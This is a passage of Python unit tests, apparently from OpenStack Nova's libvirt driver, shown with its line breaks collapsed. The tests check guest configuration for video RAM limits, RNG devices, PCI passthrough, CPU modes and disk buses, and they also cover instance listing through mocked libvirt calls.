test_get_guest_config_with_video_driver_vram(self): self.flags(vnc_enabled=False) self.flags(virt_type='kvm', group='libvirt') self.flags(enabled=True, agent_enabled=True, group='spice') instance_type = flavor_obj.Flavor.get_by_id(self.context, 5) instance_type.extra_specs = {'hw_video:ram_max_mb': "100"} conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) image_meta = {"properties": {"hw_video_model": "qxl", "hw_video_ram": "64"}} with mock.patch.object(flavor_obj.Flavor, 'get_by_id', return_value=instance_type): cfg = conn.get_guest_config(instance_ref, [], image_meta, disk_info) self.assertEqual(len(cfg.devices), 7) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestChannel) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertEqual(cfg.devices[5].type, "spice") self.assertEqual(cfg.devices[6].type, "qxl") self.assertEqual(cfg.devices[6].vram, 64) def test_video_driver_flavor_limit_not_set(self): self.flags(virt_type='kvm', group='libvirt') self.flags(enabled=True, agent_enabled=True, group='spice') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) image_meta = {"properties": {"hw_video_model": "qxl", "hw_video_ram": "64"}} self.assertRaises(exception.RequestedVRamTooHigh, conn.get_guest_config, instance_ref, [], image_meta, disk_info) def test_video_driver_ram_above_flavor_limit(self): self.flags(virt_type='kvm', group='libvirt') self.flags(enabled=True, agent_enabled=True, group='spice') instance_type = flavor_obj.Flavor.get_by_id(self.context, 5) instance_type.extra_specs = {'hw_video:ram_max_mb': "50"} conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) image_meta = {"properties": {"hw_video_model": "qxl", "hw_video_ram": "64"}} with mock.patch.object(flavor_obj.Flavor, 'get_by_id', return_value=instance_type): self.assertRaises(exception.RequestedVRamTooHigh, conn.get_guest_config, instance_ref, [], image_meta, disk_info) def test_get_guest_config_without_qga_through_image_meta(self): self.flags(virt_type='kvm', group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) image_meta = {"properties": {"hw_qemu_guest_agent": "no"}} cfg = conn.get_guest_config(instance_ref, [], image_meta, disk_info) self.assertEqual(len(cfg.devices), 7) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertEqual(cfg.devices[4].type, "tablet") self.assertEqual(cfg.devices[5].type, "vnc") def test_get_guest_config_with_rng_device(self): self.flags(virt_type='kvm', use_usb_tablet=False, group='libvirt') fake_flavour = flavor_obj.Flavor.get_by_id( self.context, self.test_instance['instance_type_id']) fake_flavour.extra_specs = {'hw_rng:allowed': 'True'} conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) image_meta = {"properties": {"hw_rng_model": "virtio"}} with mock.patch.object(flavor_obj.Flavor, 'get_by_id', return_value=fake_flavour): cfg = conn.get_guest_config(instance_ref, [], image_meta, disk_info) self.assertEqual(len(cfg.devices), 7) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestRng) self.assertEqual(cfg.devices[6].model, 'random') self.assertIsNone(cfg.devices[6].backend) self.assertIsNone(cfg.devices[6].rate_bytes) self.assertIsNone(cfg.devices[6].rate_period) def test_get_guest_config_with_rng_not_allowed(self): self.flags(virt_type='kvm', use_usb_tablet=False, group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) image_meta = {"properties": {"hw_rng_model": "virtio"}} cfg = conn.get_guest_config(instance_ref, [], image_meta, disk_info) self.assertEqual(len(cfg.devices), 6) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestVideo) def test_get_guest_config_with_rng_limits(self): self.flags(virt_type='kvm', use_usb_tablet=False, group='libvirt') fake_flavour = flavor_obj.Flavor.get_by_id( self.context, self.test_instance['instance_type_id']) fake_flavour.extra_specs = {'hw_rng:allowed': 'True', 'hw_rng:rate_bytes': '1024', 'hw_rng:rate_period': '2'} conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) image_meta = {"properties": {"hw_rng_model": "virtio"}} with mock.patch.object(flavor_obj.Flavor, 'get_by_id', return_value=fake_flavour): cfg = conn.get_guest_config(instance_ref, [], image_meta, disk_info) self.assertEqual(len(cfg.devices), 7) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestRng) self.assertEqual(cfg.devices[6].model, 'random') self.assertIsNone(cfg.devices[6].backend) self.assertEqual(cfg.devices[6].rate_bytes, 1024) self.assertEqual(cfg.devices[6].rate_period, 2) def test_get_guest_config_with_rng_backend(self): self.flags(virt_type='kvm', use_usb_tablet=False, rng_dev_path='/dev/hw_rng', group='libvirt') fake_flavour = flavor_obj.Flavor.get_by_id( self.context, self.test_instance['instance_type_id']) fake_flavour.extra_specs = {'hw_rng:allowed': 'True'} conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) image_meta = {"properties": {"hw_rng_model": "virtio"}} with contextlib.nested(mock.patch.object(flavor_obj.Flavor, 'get_by_id', return_value=fake_flavour), mock.patch('nova.virt.libvirt.driver.os.path.exists', return_value=True)): cfg = conn.get_guest_config(instance_ref, [], image_meta, disk_info) self.assertEqual(len(cfg.devices), 7) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestRng) self.assertEqual(cfg.devices[6].model, 'random') self.assertEqual(cfg.devices[6].backend, '/dev/hw_rng') self.assertIsNone(cfg.devices[6].rate_bytes) self.assertIsNone(cfg.devices[6].rate_period) def test_get_guest_config_with_rng_dev_not_present(self): self.flags(virt_type='kvm', use_usb_tablet=False, rng_dev_path='/dev/hw_rng', group='libvirt') fake_flavour = flavor_obj.Flavor.get_by_id( self.context, self.test_instance['instance_type_id']) fake_flavour.extra_specs = {'hw_rng:allowed': 'True'} conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) image_meta = {"properties": {"hw_rng_model": "virtio"}} with contextlib.nested(mock.patch.object(flavor_obj.Flavor, 'get_by_id', return_value=fake_flavour), mock.patch('nova.virt.libvirt.driver.os.path.exists', return_value=False)): self.assertRaises(exception.RngDeviceNotExist, conn.get_guest_config, instance_ref, [], image_meta, disk_info) def _create_fake_service_compute(self): service_info = { 'host': 'fake', 'report_count': 0 } service_ref = db.service_create(self.context, service_info) compute_info = { 'vcpus': 2, 'memory_mb': 1024, 'local_gb': 2048, 'vcpus_used': 0, 'memory_mb_used': 0, 'local_gb_used': 0, 'free_ram_mb': 1024, 'free_disk_gb': 2048, 'hypervisor_type': 'xen', 'hypervisor_version': 1, 'running_vms': 0, 'cpu_info': '', 'current_workload': 0, 'service_id': service_ref['id'] } compute_ref = db.compute_node_create(self.context, compute_info) return (service_ref, compute_ref) def test_get_guest_config_with_pci_passthrough_kvm(self): self.flags(virt_type='kvm', group='libvirt') service_ref, compute_ref = self._create_fake_service_compute() instance_ref = db.instance_create(self.context, self.test_instance) pci_device_info = dict(test_pci_device.fake_db_dev) pci_device_info.update(compute_node_id=1, label='fake', status='allocated', address='0000:00:00.1', compute_id=compute_ref['id'], instance_uuid=instance_ref['uuid'], extra_info=jsonutils.dumps({})) db.pci_device_update(self.context, pci_device_info['compute_node_id'], pci_device_info['address'], pci_device_info) instance_ref = db.instance_get(self.context, instance_ref['id']) conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) cfg = conn.get_guest_config(instance_ref, [], None, disk_info) had_pci = 0 # care only about the PCI devices for dev in cfg.devices: if type(dev) == vconfig.LibvirtConfigGuestHostdevPCI: had_pci += 1 self.assertEqual(dev.type, 'pci') self.assertEqual(dev.managed, 'yes') self.assertEqual(dev.mode, 'subsystem') self.assertEqual(dev.domain, "0000") self.assertEqual(dev.bus, "00") self.assertEqual(dev.slot, "00") self.assertEqual(dev.function, "1") self.assertEqual(had_pci, 1) def test_get_guest_config_with_pci_passthrough_xen(self): self.flags(virt_type='xen', group='libvirt') service_ref, compute_ref = self._create_fake_service_compute() instance_ref = db.instance_create(self.context, self.test_instance) pci_device_info = dict(test_pci_device.fake_db_dev) pci_device_info.update(compute_node_id=1, label='fake', status='allocated', address='0000:00:00.2', compute_id=compute_ref['id'], instance_uuid=instance_ref['uuid'], extra_info=jsonutils.dumps({})) db.pci_device_update(self.context, pci_device_info['compute_node_id'], pci_device_info['address'], pci_device_info) instance_ref = db.instance_get(self.context, instance_ref['id']) conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) cfg = conn.get_guest_config(instance_ref, [], None, disk_info) had_pci = 0 # care only about the PCI devices for dev in cfg.devices: if type(dev) == vconfig.LibvirtConfigGuestHostdevPCI: had_pci += 1 self.assertEqual(dev.type, 'pci') self.assertEqual(dev.managed, 'no') self.assertEqual(dev.mode, 'subsystem') self.assertEqual(dev.domain, "0000") self.assertEqual(dev.bus, "00") self.assertEqual(dev.slot, "00") self.assertEqual(dev.function, "2") self.assertEqual(had_pci, 1) def test_get_guest_config_os_command_line_through_image_meta(self): self.flags(virt_type="kvm", cpu_mode=None, group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) image_meta = {"properties": {"os_command_line": "fake_os_command_line"}} cfg = conn.get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), image_meta, disk_info) self.assertEqual(cfg.os_cmdline, "fake_os_command_line") def test_get_guest_config_armv7(self): def get_host_capabilities_stub(self): cpu = vconfig.LibvirtConfigGuestCPU() cpu.arch = "armv7l" caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = cpu return caps self.flags(virt_type="kvm", group="libvirt") instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) self.stubs.Set(libvirt_driver.LibvirtDriver, "get_host_capabilities", get_host_capabilities_stub) conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) cfg = conn.get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), None, disk_info) self.assertEqual(cfg.os_mach_type, "vexpress-a15") def test_get_guest_config_aarch64(self): def get_host_capabilities_stub(self): cpu = vconfig.LibvirtConfigGuestCPU() cpu.arch = "aarch64" caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = cpu return caps self.flags(virt_type="kvm", group="libvirt") instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) self.stubs.Set(libvirt_driver.LibvirtDriver, "get_host_capabilities", get_host_capabilities_stub) conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) cfg = conn.get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), None, disk_info) self.assertEqual(cfg.os_mach_type, "virt") def test_get_guest_config_machine_type_through_image_meta(self): self.flags(virt_type="kvm", group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) image_meta = {"properties": {"hw_machine_type": "fake_machine_type"}} cfg = conn.get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), image_meta, disk_info) self.assertEqual(cfg.os_mach_type, "fake_machine_type") def _test_get_guest_config_ppc64(self, device_index): """Test for nova.virt.libvirt.driver.LibvirtDriver.get_guest_config. """ self.flags(virt_type='kvm', group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) image_meta = {} expected = ('ppc64', 'ppc') for arch in expected: with mock.patch.object(libvirt_driver.libvirt_utils, 'get_arch', return_value=arch): cfg = conn.get_guest_config(instance_ref, [], image_meta, disk_info) self.assertIsInstance(cfg.devices[device_index], vconfig.LibvirtConfigGuestVideo) self.assertEqual(cfg.devices[device_index].type, 'vga') def test_get_guest_config_ppc64_through_image_meta_vnc_enabled(self): self.flags(vnc_enabled=True) self._test_get_guest_config_ppc64(6) def test_get_guest_config_ppc64_through_image_meta_spice_enabled(self): self.flags(enabled=True, agent_enabled=True, group='spice') self._test_get_guest_config_ppc64(8) def test_get_guest_cpu_config_none(self): self.flags(cpu_mode="none", group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) conf = conn.get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), None, disk_info) self.assertIsNone(conf.cpu) def test_get_guest_cpu_config_default_kvm(self): self.flags(virt_type="kvm", cpu_mode=None, group='libvirt') def get_lib_version_stub(): return (0 * 1000 * 1000) + (9 * 1000) + 11 self.stubs.Set(self.conn, "getLibVersion", get_lib_version_stub) conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) conf = conn.get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), None, disk_info) self.assertIsInstance(conf.cpu, vconfig.LibvirtConfigGuestCPU) self.assertEqual(conf.cpu.mode, "host-model") self.assertIsNone(conf.cpu.model) def test_get_guest_cpu_config_default_uml(self): self.flags(virt_type="uml", cpu_mode=None, group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) conf = conn.get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), None, disk_info) self.assertIsNone(conf.cpu) def test_get_guest_cpu_config_default_lxc(self): self.flags(virt_type="lxc", cpu_mode=None, group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) conf = conn.get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), None, disk_info) self.assertIsNone(conf.cpu) def test_get_guest_cpu_config_host_passthrough_new(self): def get_lib_version_stub(): return (0 * 1000 * 1000) + (9 * 1000) + 11 self.stubs.Set(self.conn, "getLibVersion", get_lib_version_stub) conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) self.flags(cpu_mode="host-passthrough", group='libvirt') disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) conf = conn.get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), None, disk_info) self.assertIsInstance(conf.cpu, vconfig.LibvirtConfigGuestCPU) self.assertEqual(conf.cpu.mode, "host-passthrough") self.assertIsNone(conf.cpu.model) def test_get_guest_cpu_config_host_model_new(self): def get_lib_version_stub(): return (0 * 1000 * 1000) + (9 * 1000) + 11 self.stubs.Set(self.conn, "getLibVersion", get_lib_version_stub) conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) self.flags(cpu_mode="host-model", group='libvirt') disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) conf = conn.get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), None, disk_info) self.assertIsInstance(conf.cpu, vconfig.LibvirtConfigGuestCPU) self.assertEqual(conf.cpu.mode, "host-model") self.assertIsNone(conf.cpu.model) def test_get_guest_cpu_config_custom_new(self): def get_lib_version_stub(): return (0 * 1000 * 1000) + (9 * 1000) + 11 self.stubs.Set(self.conn, "getLibVersion", get_lib_version_stub) conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) self.flags(cpu_mode="custom", cpu_model="Penryn", group='libvirt') disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) conf = conn.get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), None, disk_info) self.assertIsInstance(conf.cpu, vconfig.LibvirtConfigGuestCPU) self.assertEqual(conf.cpu.mode, "custom") self.assertEqual(conf.cpu.model, "Penryn") def test_get_guest_cpu_config_host_passthrough_old(self): def get_lib_version_stub(): return (0 * 1000 * 1000) + (9 * 1000) + 7 self.stubs.Set(self.conn, "getLibVersion", get_lib_version_stub) conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) self.flags(cpu_mode="host-passthrough", group='libvirt') disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) self.assertRaises(exception.NovaException, conn.get_guest_config, instance_ref, _fake_network_info(self.stubs, 1), None, disk_info) def test_get_guest_cpu_config_host_model_old(self): def get_lib_version_stub(): return (0 * 1000 * 1000) + (9 * 1000) + 7 # Ensure we have a predictable host CPU def get_host_capabilities_stub(self): cpu = vconfig.LibvirtConfigGuestCPU() cpu.model = "Opteron_G4" cpu.vendor = "AMD" cpu.features.append(vconfig.LibvirtConfigGuestCPUFeature("tm2")) cpu.features.append(vconfig.LibvirtConfigGuestCPUFeature("ht")) caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = cpu return caps self.stubs.Set(self.conn, "getLibVersion", get_lib_version_stub) self.stubs.Set(libvirt_driver.LibvirtDriver, "get_host_capabilities", get_host_capabilities_stub) conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) self.flags(cpu_mode="host-model", group='libvirt') disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) conf = conn.get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), None, disk_info) self.assertIsInstance(conf.cpu, vconfig.LibvirtConfigGuestCPU) self.assertIsNone(conf.cpu.mode) self.assertEqual(conf.cpu.model, "Opteron_G4") self.assertEqual(conf.cpu.vendor, "AMD") self.assertEqual(len(conf.cpu.features), 2) self.assertEqual(conf.cpu.features[0].name, "tm2") self.assertEqual(conf.cpu.features[1].name, "ht") def test_get_guest_cpu_config_custom_old(self): def get_lib_version_stub(): return (0 * 1000 * 1000) + (9 * 1000) + 7 self.stubs.Set(self.conn, "getLibVersion", get_lib_version_stub) conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = db.instance_create(self.context, self.test_instance) self.flags(cpu_mode="custom", cpu_model="Penryn", group='libvirt') disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref) conf = conn.get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), None, disk_info) self.assertIsInstance(conf.cpu, vconfig.LibvirtConfigGuestCPU) self.assertIsNone(conf.cpu.mode) self.assertEqual(conf.cpu.model, "Penryn") def test_xml_and_uri_no_ramdisk_no_kernel(self): instance_data = dict(self.test_instance) self._check_xml_and_uri(instance_data, expect_kernel=False, expect_ramdisk=False) def test_xml_and_uri_no_ramdisk_no_kernel_xen_hvm(self): instance_data = dict(self.test_instance) instance_data.update({'vm_mode': vm_mode.HVM}) self._check_xml_and_uri(instance_data, expect_kernel=False, expect_ramdisk=False, expect_xen_hvm=True) def test_xml_and_uri_no_ramdisk_no_kernel_xen_pv(self): instance_data = dict(self.test_instance) instance_data.update({'vm_mode': vm_mode.XEN}) self._check_xml_and_uri(instance_data, expect_kernel=False, expect_ramdisk=False, expect_xen_hvm=False, xen_only=True) def test_xml_and_uri_no_ramdisk(self): instance_data = dict(self.test_instance) instance_data['kernel_id'] = 'aki-deadbeef' self._check_xml_and_uri(instance_data, expect_kernel=True, expect_ramdisk=False) def test_xml_and_uri_no_kernel(self): instance_data = dict(self.test_instance) instance_data['ramdisk_id'] = 'ari-deadbeef' self._check_xml_and_uri(instance_data, expect_kernel=False, expect_ramdisk=False) def test_xml_and_uri(self): instance_data = dict(self.test_instance) instance_data['ramdisk_id'] = 'ari-deadbeef' instance_data['kernel_id'] = 'aki-deadbeef' self._check_xml_and_uri(instance_data, expect_kernel=True, expect_ramdisk=True) def test_xml_and_uri_rescue(self): instance_data = dict(self.test_instance) instance_data['ramdisk_id'] = 'ari-deadbeef' instance_data['kernel_id'] = 'aki-deadbeef' self._check_xml_and_uri(instance_data, expect_kernel=True, expect_ramdisk=True, rescue=instance_data) def test_xml_and_uri_rescue_no_kernel_no_ramdisk(self): instance_data = dict(self.test_instance) self._check_xml_and_uri(instance_data, expect_kernel=False, expect_ramdisk=False, rescue=instance_data) def test_xml_and_uri_rescue_no_kernel(self): instance_data = dict(self.test_instance) instance_data['ramdisk_id'] = 'aki-deadbeef' self._check_xml_and_uri(instance_data, expect_kernel=False, expect_ramdisk=True, rescue=instance_data) def test_xml_and_uri_rescue_no_ramdisk(self): instance_data = dict(self.test_instance) instance_data['kernel_id'] = 'aki-deadbeef' self._check_xml_and_uri(instance_data, expect_kernel=True, expect_ramdisk=False, rescue=instance_data) def test_xml_uuid(self): self._check_xml_and_uuid({"disk_format": "raw"}) def test_lxc_container_and_uri(self): instance_data = dict(self.test_instance) self._check_xml_and_container(instance_data) def test_xml_disk_prefix(self): instance_data = dict(self.test_instance) self._check_xml_and_disk_prefix(instance_data) def test_xml_user_specified_disk_prefix(self): instance_data = dict(self.test_instance) self._check_xml_and_disk_prefix(instance_data, 'sd') def test_xml_disk_driver(self): instance_data = dict(self.test_instance) self._check_xml_and_disk_driver(instance_data) def test_xml_disk_bus_virtio(self): self._check_xml_and_disk_bus({"disk_format": "raw"}, None, (("disk", "virtio", "vda"),)) def test_xml_disk_bus_ide(self): self._check_xml_and_disk_bus({"disk_format": "iso"}, None, (("cdrom", "ide", "hda"),)) def test_xml_disk_bus_ide_and_virtio(self): swap = {'device_name': '/dev/vdc', 'swap_size': 1} ephemerals = [{'device_type': 'disk', 'disk_bus': 'virtio', 'device_name': '/dev/vdb', 'size': 1}] block_device_info = { 'swap': swap, 'ephemerals': ephemerals} self._check_xml_and_disk_bus({"disk_format": "iso"}, block_device_info, (("cdrom", "ide", "hda"), ("disk", "virtio", "vdb"), ("disk", "virtio", "vdc"))) def test_list_instances(self): self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.lookupByID = self.fake_lookup libvirt_driver.LibvirtDriver._conn.numOfDomains = lambda: 2 libvirt_driver.LibvirtDriver._conn.listDomainsID = lambda: [0, 1] libvirt_driver.LibvirtDriver._conn.listDefinedDomains = lambda: [] self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instances = conn.list_instances() # Only one should be listed, since domain with ID 0 must be skipped self.assertEqual(len(instances), 1) def test_list_instance_uuids(self): self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.lookupByID = self.fake_lookup libvirt_driver.LibvirtDriver._conn.numOfDomains = lambda: 2 libvirt_driver.LibvirtDriver._conn.listDomainsID = lambda: [0, 1] libvirt_driver.LibvirtDriver._conn.listDefinedDomains = lambda: [] self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instances = conn.list_instance_uuids() # Only one should be listed, since domain with ID 0 must be skipped self.assertEqual(len(instances), 1) def test_list_defined_instances(self): self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.lookupByID = self.fake_lookup libvirt_driver.LibvirtDriver._conn.numOfDomains = lambda: 1 libvirt_driver.LibvirtDriver._conn.listDomainsID = lambda: [0] libvirt_driver.LibvirtDriver._conn.listDefinedDomains = lambda: [1] self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instances = conn.list_instances() # Only one defined domain should be listed self.assertEqual(len(instances), 1) def test_list_instances_when_instance_deleted(self): def fake_lookup(instance_name): raise libvirt.libvirtError("we deleted an instance!") self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.lookupByID = fake_lookup libvirt_driver.LibvirtDriver._conn.numOfDomains = lambda: 1 libvirt_driver.LibvirtDriver._conn.listDomainsID = lambda: [0, 1] libvirt_driver.LibvirtDriver._conn.listDefinedDomains = lambda: [] self.mox.StubOutWithMock(libvirt.libvirtError, "get_error_code") libvirt.libvirtError.get_error_code().AndReturn( libvirt.VIR_ERR_NO_DOMAIN) self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instances = conn.list_instances() # None should be listed, since we fake deleted the last one self.assertEqual(len(instances), 0) def test_list_instance_uuids_when_instance_deleted(self): def fake_lookup(instance_name): raise libvirt.libvirtError("we deleted an instance!") self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.lookupByID = fake_lookup libvirt_driver.LibvirtDriver._conn.numOfDomains = lambda: 1 libvirt_driver.LibvirtDriver._conn.listDomainsID = lambda: [0, 1] libvirt_driver.LibvirtDriver._conn.listDefinedDomains = lambda: [] self.mox.StubOutWithMock(libvirt.libvirtError, "get_error_code") libvirt.libvirtError.get_error_code().AndReturn( libvirt.VIR_ERR_NO_DOMAIN) self.mox.ReplayAll() conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), False) instances = conn.list_instance_uuids() # None should be listed, since we fake deleted the last one self.assertEqual(len(instances), 0) def test_list_instances_throws_nova_exception(self): def fake_lookup(instance_name): raise libvirt.libvirtError("we deleted an instance!") self.mox.StubOutWithMock(libvirt_driver.LibvirtDriver, '_conn') libvirt_driver.LibvirtDriver._conn.lookupByID = fake_lookup libvirt_driver.LibvirtDriver._conn.numOfDomains = lambda: 1 libvirt_driver.LibvirtDriver._conn.listDomainsID = lambda: [0, 1] libvirt_driver.LibvirtDriver._conn.listDefinedDomains = lambda: [] 